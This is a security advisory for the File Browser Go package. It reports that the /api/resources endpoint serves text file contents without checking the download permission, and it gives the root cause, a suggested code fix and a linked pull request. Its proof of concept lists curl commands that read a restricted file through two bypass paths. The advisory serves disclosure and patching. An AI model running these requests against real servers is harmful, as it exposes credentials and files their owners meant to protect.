GHSA-67cg-cpj7-qgc9
File Browser discloses text file content via /api/resources endpoint bypassing Perm.Download check
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/filebrowser/filebrowser/v2 | < 2.63.1 | 2.63.1 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The `resourceGetHandler` in `http/resource.go` returns full text file content without checking the `Perm.Download` permission flag. All three other content-serving endpoints (`/api/raw`, `/api/preview`, `/api/subtitle`) correctly verify this permission before serving content. A user with `download: false` can read any text file within their scope through two bypass paths.
Confirmed on v2.62.2 (commit 860c19d).
## Root Cause
`http/resource.go` line 26-33 hardcodes `Content: true` in the FileOptions without checking download permission:
file, err := files.NewFileInfo(&files.FileOptions{
...
Content: true, // Always loads text content, no permission check
})
Lines 44-63: the `X-Encoding: true` header path reads the entire file and returns raw bytes as `application/octet-stream`, also without any download check.
Compare with the three protected endpoints:
// raw.go:83-85
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// preview.go:38-40
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// subtitle.go:13-15
if !d.user.Perm.Download { return http.StatusAccepted, nil }
## PoC
Tested on filebrowser v2.62.2, built from HEAD.
# Create user with download=false via CLI
filebrowser users add restricted testuser123456 --perm.download=false
# Login
TOKEN=$(curl -s http://HOST/api/login -d '{"username":"restricted","password":"testuser123456"}')
# BLOCKED: /api/raw correctly enforces download permission
curl -s -w "\nHTTP: %{http_code}" http://HOST/api/raw/secret.txt -H "X-Auth: $TOKEN"
# → 202 Accepted (empty body)
# BYPASS 1: /api/resources with X-Encoding returns raw file content
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" -H "X-Encoding: true"
# → 200 OK, body: SECRET_PASSWORD=hunter2
# BYPASS 2: /api/resources JSON includes content field
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" | jq .content
# → "SECRET_PASSWORD=hunter2\n"
## Impact
A user with `download: false` can read the full content of text files within their authorized scope (up to the 10MB `detectType` limit). This includes source code, configuration files, credentials, and API tokens stored as text.
This bypass does not defeat path authorization. It bypasses only the `Download` permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check `Perm.Download`, one does not) indicates this is an oversight, not a design decision.
## Suggested Fix
Match the existing endpoint behavior (HTTP 202 for denied downloads):
Content: d.user.Perm.Download, // Only load content when permitted
And add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:
if !d.user.Perm.Download {
return http.StatusAccepted, nil
}
---
**Update:** Fix submitted as PR #5891.
References
External links from the advisory. They lead to third-party sites.